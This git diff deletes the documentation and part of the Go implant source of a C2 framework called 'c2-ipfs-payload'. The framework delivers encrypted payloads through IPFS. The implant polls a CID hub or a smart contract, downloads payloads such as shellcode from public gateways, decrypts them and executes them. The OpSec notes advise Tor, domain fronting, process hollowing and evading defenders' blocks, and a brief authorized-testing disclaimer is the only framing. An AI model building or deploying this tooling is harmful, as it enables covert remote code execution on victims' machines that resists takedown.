Compare commits
No commits in common. "main" and "main" have entirely different histories.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,161 +0,0 @@
|
||||||
# IPFS Upload Guide
|
|
||||||
|
|
||||||
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
|
|
||||||
|
|
||||||
## Option 1: Local IPFS Node (Recommended)
|
|
||||||
|
|
||||||
### Install IPFS (Kubo)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Download Kubo v0.29.0
|
|
||||||
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
|
|
||||||
|
|
||||||
# Extract
|
|
||||||
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
|
|
||||||
|
|
||||||
# Install
|
|
||||||
cd kubo
|
|
||||||
sudo bash install.sh
|
|
||||||
|
|
||||||
# Initialize
|
|
||||||
ipfs init
|
|
||||||
|
|
||||||
# Start the daemon
|
|
||||||
ipfs daemon &
|
|
||||||
|
|
||||||
# Wait for it to be ready
|
|
||||||
ipfs id
|
|
||||||
```
|
|
||||||
|
|
||||||
### Upload a File
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Add a file to IPFS
|
|
||||||
ipfs add payload.enc
|
|
||||||
|
|
||||||
# Output: added QmX... payload.enc
|
|
||||||
# The hash is your CID: QmX...
|
|
||||||
```
|
|
||||||
|
|
||||||
### Start the Daemon on Boot
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Systemd service
|
|
||||||
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
|
|
||||||
[Unit]
|
|
||||||
Description=IPFS Daemon
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
ExecStart=/usr/local/bin/ipfs daemon
|
|
||||||
Restart=on-failure
|
|
||||||
User=root
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
EOF
|
|
||||||
|
|
||||||
sudo systemctl enable ipfs
|
|
||||||
sudo systemctl start ipfs
|
|
||||||
```
|
|
||||||
|
|
||||||
### IPFS API
|
|
||||||
|
|
||||||
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
|
|
||||||
The server uses this by default.
|
|
||||||
|
|
||||||
## Option 2: Pinata.cloud (Free Tier)
|
|
||||||
|
|
||||||
Pinata offers a free tier with 1GB of storage — no local node needed.
|
|
||||||
|
|
||||||
### Setup
|
|
||||||
|
|
||||||
1. Create an account at https://pinata.cloud
|
|
||||||
2. Go to API Keys and generate a JWT
|
|
||||||
3. Use it with the server/upload tool
|
|
||||||
|
|
||||||
### Upload via API
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST \
|
|
||||||
-H "Authorization: Bearer <your-jwt>" \
|
|
||||||
-F "file=@payload.enc" \
|
|
||||||
https://api.pinata.cloud/pinning/pinFileToIPFS
|
|
||||||
```
|
|
||||||
|
|
||||||
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
|
|
||||||
|
|
||||||
### Upload via the C2 Tools
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Using the upload helper
|
|
||||||
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
|
||||||
|
|
||||||
# Or with server
|
|
||||||
./server -pinata-jwt <jwt> -mode http
|
|
||||||
# Then in console: deploy payload.bin
|
|
||||||
```
|
|
||||||
|
|
||||||
## Option 3: web3.storage (Free)
|
|
||||||
|
|
||||||
https://web3.storage offers 5GB free with API key auth.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST \
|
|
||||||
-H "Authorization: Bearer <api-token>" \
|
|
||||||
-H "Content-Type: application/octet-stream" \
|
|
||||||
--data-binary @payload.enc \
|
|
||||||
https://api.web3.storage/upload
|
|
||||||
```
|
|
||||||
|
|
||||||
## Option 4: Infura IPFS API
|
|
||||||
|
|
||||||
Infura provides free IPFS API access (rate limited).
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Upload
|
|
||||||
curl -X POST \
|
|
||||||
-F "file=@payload.enc" \
|
|
||||||
"https://ipfs.infura.io:5001/api/v0/add"
|
|
||||||
|
|
||||||
# Requires project ID/secret for authenticated gateways
|
|
||||||
```
|
|
||||||
|
|
||||||
## Gateway URLs for Download
|
|
||||||
|
|
||||||
The implant supports multiple gateway fallback. Configure via `--gateways`.
|
|
||||||
|
|
||||||
Default gateways used by the implant:
|
|
||||||
|
|
||||||
| Gateway | URL Template |
|
|
||||||
|---------|-------------|
|
|
||||||
| ipfs.io | `https://ipfs.io/ipfs/%s` |
|
|
||||||
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
|
|
||||||
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
|
|
||||||
| dweb.link | `https://dweb.link/ipfs/%s` |
|
|
||||||
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
|
|
||||||
|
|
||||||
Custom gateways:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./client --cid-source <url> --decryption-key <key> \
|
|
||||||
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
|
|
||||||
```
|
|
||||||
|
|
||||||
## CID Verification
|
|
||||||
|
|
||||||
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
|
|
||||||
The hash is derived from the file content — changing even one bit changes the CID.
|
|
||||||
|
|
||||||
The implant downloads the payload and can verify the SHA-256 hash matches the CID
|
|
||||||
(for CIDv0, this requires base58 decoding of the multihash — a proper production
|
|
||||||
implementation would add a base58 library for full verification).
|
|
||||||
|
|
||||||
## OpSec Notes
|
|
||||||
|
|
||||||
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
|
|
||||||
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
|
|
||||||
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
|
|
||||||
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
|
|
||||||
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
|
|
||||||
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.
|
|
||||||
|
|
@ -1,423 +0,0 @@
|
||||||
# C2 IPFS Payload Delivery System
|
|
||||||
|
|
||||||
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
|
|
||||||
|
|
||||||
## Architecture
|
|
||||||
|
|
||||||
```
|
|
||||||
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
|
||||||
│ Operator │────▶│ CID Source │────▶│ Implant │
|
|
||||||
│ Console │ │ (HTTP or │ │ │
|
|
||||||
│ (server) │ │ Contract) │ │ (client) │
|
|
||||||
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
|
|
||||||
│ │ │
|
|
||||||
│ encrypt + upload │ serves CID │ polls for CID
|
|
||||||
▼ ▼ ▼
|
|
||||||
┌─────────┐ ┌──────────┐ ┌──────────┐
|
|
||||||
│ IPFS │ │ Implants │ │ IPFS │
|
|
||||||
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
|
|
||||||
└─────────┘ └──────────┘ └──────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
### Data Flow
|
|
||||||
|
|
||||||
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
|
|
||||||
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
|
|
||||||
3. **Implant** polls the CID source periodically with jitter
|
|
||||||
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
|
|
||||||
5. **Implant** decrypts with the pre-shared key, executes, reports status
|
|
||||||
|
|
||||||
## Modes
|
|
||||||
|
|
||||||
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
|
|
||||||
|
|
||||||
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
|
|
||||||
|
|
||||||
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
|
|
||||||
|
|
||||||
```
|
|
||||||
┌──────────┐ GET /cid ┌──────────┐
|
|
||||||
│ Server │◀──────────────│ Implant │
|
|
||||||
│ :8443 │ ──────────▶│ │
|
|
||||||
└────┬─────┘ POST /cid └──────────┘
|
|
||||||
│
|
|
||||||
│ POST /cid {"cid":"Qm..."}
|
|
||||||
│
|
|
||||||
┌──┴──┐
|
|
||||||
│Operator│
|
|
||||||
└──────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
### MODE B — Smart Contract CID Feed (Fully Decentralized)
|
|
||||||
|
|
||||||
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
|
|
||||||
|
|
||||||
**Pros:** Fully decentralized, censorship-resistant, transparent.
|
|
||||||
|
|
||||||
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
|
|
||||||
|
|
||||||
```
|
|
||||||
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
|
|
||||||
│ Operator │──────────────▶│ Smart │ │ Implant │
|
|
||||||
│ Wallet │ │ Contract │◀───│ (watcher)│
|
|
||||||
└──────────┘ └──────┬───────┘ └──────────┘
|
|
||||||
│
|
|
||||||
┌───▼───┐
|
|
||||||
│ Events │
|
|
||||||
│ (logs) │
|
|
||||||
└───────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
## Quick Start (Mode A — 5 minutes)
|
|
||||||
|
|
||||||
### 1. Build
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Clone or cd into the project
|
|
||||||
cd c2-ipfs-payload
|
|
||||||
|
|
||||||
# Build all tools
|
|
||||||
go build -o server ./cmd/server
|
|
||||||
go build -o client ./cmd/client
|
|
||||||
go build -o upload ./cmd/upload
|
|
||||||
|
|
||||||
# Or build the ethereum-enabled versions
|
|
||||||
go build -tags ethereum -o server-eth ./cmd/server
|
|
||||||
go build -tags ethereum -o client-eth ./cmd/client
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. Start IPFS
|
|
||||||
|
|
||||||
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Install and start IPFS daemon
|
|
||||||
ipfs init && ipfs daemon &
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. Start the Server
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./server --port 8443
|
|
||||||
```
|
|
||||||
|
|
||||||
The server will:
|
|
||||||
- Generate a new encryption key (save this!)
|
|
||||||
- Start the HTTP CID hub on port 8443
|
|
||||||
- Open the operator console
|
|
||||||
|
|
||||||
### 4. Deploy a Payload
|
|
||||||
|
|
||||||
In the operator console:
|
|
||||||
|
|
||||||
```
|
|
||||||
> deploy /path/to/payload.bin
|
|
||||||
```
|
|
||||||
|
|
||||||
Or manually:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Using the upload helper
|
|
||||||
./upload -key $(cat key.txt) -file payload.bin
|
|
||||||
|
|
||||||
# Then in the console:
|
|
||||||
> cid QmX...
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5. Start the Implant
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./client \
|
|
||||||
--cid-source http://your-server:8443 \
|
|
||||||
--decryption-key <key-from-server> \
|
|
||||||
--poll-interval 30
|
|
||||||
```
|
|
||||||
|
|
||||||
## Server Reference
|
|
||||||
|
|
||||||
### Flags
|
|
||||||
|
|
||||||
| Flag | Default | Description |
|
|
||||||
|------|---------|-------------|
|
|
||||||
| `--port` | `8443` | HTTP server port (mode A) |
|
|
||||||
| `--user` | `""` | Basic auth username (mode A) |
|
|
||||||
| `--pass` | `""` | Basic auth password (mode A) |
|
|
||||||
| `--jwt` | `""` | JWT token (overrides basic auth) |
|
|
||||||
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
|
|
||||||
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
|
|
||||||
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
|
|
||||||
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
|
|
||||||
| `--contract` | `""` | Contract address (mode B) |
|
|
||||||
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
|
||||||
| `--max-history` | `100` | Max history entries |
|
|
||||||
|
|
||||||
### Console Commands
|
|
||||||
|
|
||||||
| Command | Description |
|
|
||||||
|---------|-------------|
|
|
||||||
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
|
|
||||||
| `cid <cid>` | Manually set a CID |
|
|
||||||
| `encrypt <file>` | Encrypt a file and upload to IPFS |
|
|
||||||
| `status` | Show current state |
|
|
||||||
| `history` | Show recent CID history |
|
|
||||||
| `genkey` | Generate a new encryption key |
|
|
||||||
| `help` | Show help |
|
|
||||||
| `exit` | Shutdown |
|
|
||||||
|
|
||||||
### API Endpoints (Mode A)
|
|
||||||
|
|
||||||
| Method | Path | Auth | Description |
|
|
||||||
|--------|------|------|-------------|
|
|
||||||
| `GET` | `/cid` | Optional | Get current CID |
|
|
||||||
| `POST` | `/cid` | Optional | Set a new CID |
|
|
||||||
| `GET` | `/history` | Optional | Get recent CIDs |
|
|
||||||
| `GET` | `/status` | Optional | Server status |
|
|
||||||
| `GET` | `/` | No | API info |
|
|
||||||
|
|
||||||
**Example:**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Set CID
|
|
||||||
curl -X POST http://server:8443/cid \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{"cid":"QmX...","note":"stage2 payload"}'
|
|
||||||
|
|
||||||
# Get current CID
|
|
||||||
curl http://server:8443/cid
|
|
||||||
|
|
||||||
# Get history
|
|
||||||
curl http://server:8443/history
|
|
||||||
```
|
|
||||||
|
|
||||||
Auth:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# With basic auth
|
|
||||||
curl -u admin:password http://server:8443/cid
|
|
||||||
|
|
||||||
# With JWT
|
|
||||||
curl -H "Authorization: Bearer <token>" http://server:8443/cid
|
|
||||||
```
|
|
||||||
|
|
||||||
## Client Reference
|
|
||||||
|
|
||||||
### Flags
|
|
||||||
|
|
||||||
| Flag | Default | Description |
|
|
||||||
|------|---------|-------------|
|
|
||||||
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
|
|
||||||
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
|
|
||||||
| `--poll-interval` | `60` | Poll interval in seconds |
|
|
||||||
| `--mode` | `"http"` | `http` or `contract` |
|
|
||||||
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
|
|
||||||
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
|
|
||||||
| `--report-url` | `""` | URL to POST execution reports |
|
|
||||||
| `--config` | `""` | Config file for persistence |
|
|
||||||
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
|
|
||||||
| `--id` | auto | Implant ID |
|
|
||||||
|
|
||||||
### Behavior
|
|
||||||
|
|
||||||
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
|
|
||||||
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
|
|
||||||
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
|
|
||||||
- **Auto-reporting**: Posts execution results to a report URL (optional)
|
|
||||||
- **Signal handling**: Saves state on SIGINT/SIGTERM
|
|
||||||
|
|
||||||
## Encryption
|
|
||||||
|
|
||||||
- **Algorithm**: AES-256-GCM (authenticated encryption)
|
|
||||||
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
|
|
||||||
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
|
|
||||||
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
|
|
||||||
|
|
||||||
### Key Management
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Generate a key via server (recommended)
|
|
||||||
./server # auto-generates on start
|
|
||||||
|
|
||||||
# Generate a key manually
|
|
||||||
./upload -key <any-32-byte-hex> -file test.bin --no-upload
|
|
||||||
# Better: use genkey in server console
|
|
||||||
|
|
||||||
# Derive from passphrase
|
|
||||||
./client --decryption-key "my-secret-passphrase"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Smart Contract (Mode B)
|
|
||||||
|
|
||||||
### Contract Interface
|
|
||||||
|
|
||||||
```solidity
|
|
||||||
// SPDX-License-Identifier: MIT
|
|
||||||
pragma solidity ^0.8.0;
|
|
||||||
|
|
||||||
contract CIDFeed {
|
|
||||||
string public latestCID;
|
|
||||||
|
|
||||||
event NewCID(address indexed sender, string cid, uint256 timestamp);
|
|
||||||
|
|
||||||
function publishCID(string memory _cid) public {
|
|
||||||
latestCID = _cid;
|
|
||||||
emit NewCID(msg.sender, _cid, block.timestamp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Deploy and Use
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Build with ethereum support
|
|
||||||
go build -tags ethereum -o server-eth ./cmd/server
|
|
||||||
|
|
||||||
# Start in contract mode
|
|
||||||
./server-eth \
|
|
||||||
--mode contract \
|
|
||||||
--contract 0x... \
|
|
||||||
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
|
||||||
--enc-key <key>
|
|
||||||
|
|
||||||
# Use the console
|
|
||||||
> send-cid 0x... QmX...
|
|
||||||
```
|
|
||||||
|
|
||||||
### Watching Mode B from the Implant
|
|
||||||
|
|
||||||
```bash
|
|
||||||
go build -tags ethereum -o client-eth ./cmd/client
|
|
||||||
|
|
||||||
./client-eth \
|
|
||||||
--mode contract \
|
|
||||||
--cid-source 0x... \
|
|
||||||
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
|
|
||||||
--decryption-key <key>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Payload Workflow Walkthrough
|
|
||||||
|
|
||||||
### Complete Deployment Cycle
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1. Build everything
|
|
||||||
go build -o server ./cmd/server
|
|
||||||
go build -o client ./cmd/client
|
|
||||||
|
|
||||||
# 2. Start IPFS daemon
|
|
||||||
ipfs daemon &
|
|
||||||
|
|
||||||
# 3. Start the server (generates key)
|
|
||||||
./server --port 8443
|
|
||||||
|
|
||||||
# 4. In the server console:
|
|
||||||
> genkey
|
|
||||||
New encryption key: a1b2c3d4e5f6... (64 hex chars)
|
|
||||||
|
|
||||||
> deploy shellcode.bin
|
|
||||||
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
|
|
||||||
Uploading to IPFS...
|
|
||||||
Uploaded! CID: QmXyZ...
|
|
||||||
Deployed!
|
|
||||||
|
|
||||||
# 5. On the target:
|
|
||||||
./client \
|
|
||||||
--cid-source http://hub.example.com:8443 \
|
|
||||||
--decryption-key a1b2c3d4e5f6... \
|
|
||||||
--poll-interval 30
|
|
||||||
|
|
||||||
# 6. Implant output:
|
|
||||||
Implant started (ID: aabbccdd, mode: http)
|
|
||||||
Poll interval: 30s with jitter
|
|
||||||
CID source: http://hub.example.com:8443
|
|
||||||
New CID detected: QmXyZ...
|
|
||||||
Fetching payload from IPFS (544 bytes)...
|
|
||||||
Decrypted payload (512 bytes), executing...
|
|
||||||
Payload executed (PID: 12345)
|
|
||||||
|
|
||||||
# 7. Deploy the next stage:
|
|
||||||
> deploy stage2.bin
|
|
||||||
Deployed! CID: QmAbCd...
|
|
||||||
```
|
|
||||||
|
|
||||||
### Manual Workflow (No IPFS Daemon)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1. Encrypt locally
|
|
||||||
./upload -key <key> -file payload.bin --no-upload
|
|
||||||
|
|
||||||
# 2. Upload via Pinata
|
|
||||||
curl -X POST \
|
|
||||||
-H "Authorization: Bearer <pinata-jwt>" \
|
|
||||||
-F "file=@payload.bin.enc" \
|
|
||||||
https://api.pinata.cloud/pinning/pinFileToIPFS
|
|
||||||
|
|
||||||
# 3. Set the CID on the hub
|
|
||||||
curl -X POST http://server:8443/cid \
|
|
||||||
-d '{"cid":"QmFromPinata"}'
|
|
||||||
```
|
|
||||||
|
|
||||||
## OpSec Notes
|
|
||||||
|
|
||||||
### Network
|
|
||||||
|
|
||||||
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
|
|
||||||
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
|
|
||||||
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
|
|
||||||
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
|
|
||||||
|
|
||||||
### Encryption
|
|
||||||
|
|
||||||
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
|
|
||||||
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
|
|
||||||
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
|
|
||||||
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
|
|
||||||
|
|
||||||
### Implant
|
|
||||||
|
|
||||||
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
|
|
||||||
- **Jittered polling**: Reduces fingerprintable patterns
|
|
||||||
- **Config persistence**: Encrypt the config file if saved on disk
|
|
||||||
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
|
|
||||||
|
|
||||||
### Legal
|
|
||||||
|
|
||||||
This tool is for authorized red teaming, penetration testing, and security research.
|
|
||||||
Do not use against systems you do not own or have explicit written permission to test.
|
|
||||||
|
|
||||||
## Build Requirements
|
|
||||||
|
|
||||||
- Go 1.21+
|
|
||||||
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
|
|
||||||
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
|
|
||||||
|
|
||||||
### Platform Support
|
|
||||||
|
|
||||||
| Platform | Mode A | Mode B |
|
|
||||||
|----------|--------|--------|
|
|
||||||
| Linux x86_64 | YES | YES |
|
|
||||||
| Linux arm64 | YES | YES |
|
|
||||||
| macOS x86_64/arm64 | YES | YES |
|
|
||||||
| Windows (cross-compile) | YES | x (CGo) |
|
|
||||||
| OpenBSD/FreeBSD | YES | x |
|
|
||||||
|
|
||||||
## Project Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
c2-ipfs-payload/
|
|
||||||
├── cmd/
|
|
||||||
│ ├── server/main.go # Operator console + CID hub
|
|
||||||
│ ├── client/main.go # Implant
|
|
||||||
│ └── upload/main.go # Helper: encrypt + upload
|
|
||||||
├── pkg/
|
|
||||||
│ ├── types/types.go # Shared data types
|
|
||||||
│ ├── crypto/crypto.go # AES-256-GCM encryption
|
|
||||||
│ ├── ipfs/ipfs.go # IPFS upload/download
|
|
||||||
│ ├── auth/auth.go # HTTP auth middleware
|
|
||||||
│ └── contract/
|
|
||||||
│ ├── contract.go # Contract interface (no deps)
|
|
||||||
│ └── contract_eth.go # go-ethereum implementation
|
|
||||||
├── README.md # This file
|
|
||||||
└── IPFS_UPLOAD.md # IPFS setup guide
|
|
||||||
```
|
|
||||||
|
|
||||||
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY
|
|
||||||
|
|
@ -1,403 +0,0 @@
|
||||||
// Command client is the implant for the C2 IPFS payload delivery system.
|
|
||||||
//
|
|
||||||
// It polls a CID source (HTTP hub or smart contract), fetches payloads
|
|
||||||
// from IPFS when a new CID is detected, decrypts, and executes them.
|
|
||||||
//
|
|
||||||
// Usage:
|
|
||||||
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
|
|
||||||
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"crypto/rand"
|
|
||||||
"encoding/hex"
|
|
||||||
"encoding/json"
|
|
||||||
"flag"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log"
|
|
||||||
"math/big"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"os/signal"
|
|
||||||
"runtime"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"syscall"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
|
||||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Implant struct {
|
|
||||||
mu sync.RWMutex
|
|
||||||
config types.Config
|
|
||||||
lastCID string
|
|
||||||
lastFetchTime time.Time
|
|
||||||
httpClient *http.Client
|
|
||||||
pollTicker *time.Ticker
|
|
||||||
stopCh chan struct{}
|
|
||||||
fetchCount int
|
|
||||||
execCount int
|
|
||||||
startTime time.Time
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewImplant(cfg types.Config) *Implant {
|
|
||||||
if cfg.ImplantID == "" {
|
|
||||||
// Generate a random implant ID
|
|
||||||
idBytes := make([]byte, 8)
|
|
||||||
rand.Read(idBytes)
|
|
||||||
cfg.ImplantID = hex.EncodeToString(idBytes)
|
|
||||||
}
|
|
||||||
if len(cfg.Gateways) == 0 {
|
|
||||||
cfg.Gateways = ipfs.DefaultGateways
|
|
||||||
}
|
|
||||||
if cfg.PollInterval <= 0 {
|
|
||||||
cfg.PollInterval = 60 // default 60 seconds
|
|
||||||
}
|
|
||||||
if cfg.Mode == "" {
|
|
||||||
cfg.Mode = "http"
|
|
||||||
}
|
|
||||||
|
|
||||||
return &Implant{
|
|
||||||
config: cfg,
|
|
||||||
lastCID: cfg.LastCID,
|
|
||||||
httpClient: &http.Client{Timeout: 30 * time.Second},
|
|
||||||
stopCh: make(chan struct{}),
|
|
||||||
startTime: time.Now(),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// poll fetches the current CID from the configured source.
|
|
||||||
func (im *Implant) poll() (string, error) {
|
|
||||||
switch im.config.Mode {
|
|
||||||
case "http":
|
|
||||||
return im.pollHTTP()
|
|
||||||
case "contract":
|
|
||||||
return im.pollContract()
|
|
||||||
default:
|
|
||||||
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// pollHTTP fetches the current CID from the HTTP CID hub.
|
|
||||||
func (im *Implant) pollHTTP() (string, error) {
|
|
||||||
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
|
|
||||||
|
|
||||||
req, err := http.NewRequest("GET", url, nil)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to create request: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if im.config.JWTFetch != "" {
|
|
||||||
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
|
|
||||||
}
|
|
||||||
|
|
||||||
resp, err := im.httpClient.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("HTTP request failed: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode == http.StatusNotFound {
|
|
||||||
return "", nil // No CID set yet
|
|
||||||
}
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
|
|
||||||
}
|
|
||||||
|
|
||||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to read response: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var result struct {
|
|
||||||
CID string `json:"cid"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(body, &result); err != nil {
|
|
||||||
return "", fmt.Errorf("failed to parse response: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return result.CID, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// pollContract watches smart contract events.
|
|
||||||
// This is a placeholder — real implementation requires go-ethereum.
|
|
||||||
func (im *Implant) pollContract() (string, error) {
|
|
||||||
// TODO: Implement contract event watching when built with -tags ethereum
|
|
||||||
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
|
|
||||||
}
|
|
||||||
|
|
||||||
// processCID handles a new CID: fetch, verify, decrypt, execute.
|
|
||||||
func (im *Implant) processCID(cid string) error {
|
|
||||||
log.Printf("New CID detected: %s", cid)
|
|
||||||
|
|
||||||
// 1. Fetch from IPFS
|
|
||||||
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
|
|
||||||
data, err := ipfs.Download(cid, im.config.Gateways)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("IPFS download failed: %w", err)
|
|
||||||
}
|
|
||||||
log.Printf("Downloaded %d bytes from IPFS", len(data))
|
|
||||||
|
|
||||||
// 2. Verify content addressing
|
|
||||||
if err := ipfs.VerifyCID(data, cid); err != nil {
|
|
||||||
return fmt.Errorf("CID verification failed: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Decrypt
|
|
||||||
key := crypto.DeriveKey(im.config.DecryptionKey)
|
|
||||||
// Try hex key first; fall back to derived key
|
|
||||||
var plaintext []byte
|
|
||||||
var decErr error
|
|
||||||
|
|
||||||
if len(im.config.DecryptionKey) == 64 {
|
|
||||||
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
|
|
||||||
plaintext, decErr = crypto.Decrypt(data, keyBytes)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if plaintext == nil {
|
|
||||||
plaintext, decErr = crypto.Decrypt(data, key)
|
|
||||||
}
|
|
||||||
if decErr != nil {
|
|
||||||
return fmt.Errorf("decryption failed: %w", decErr)
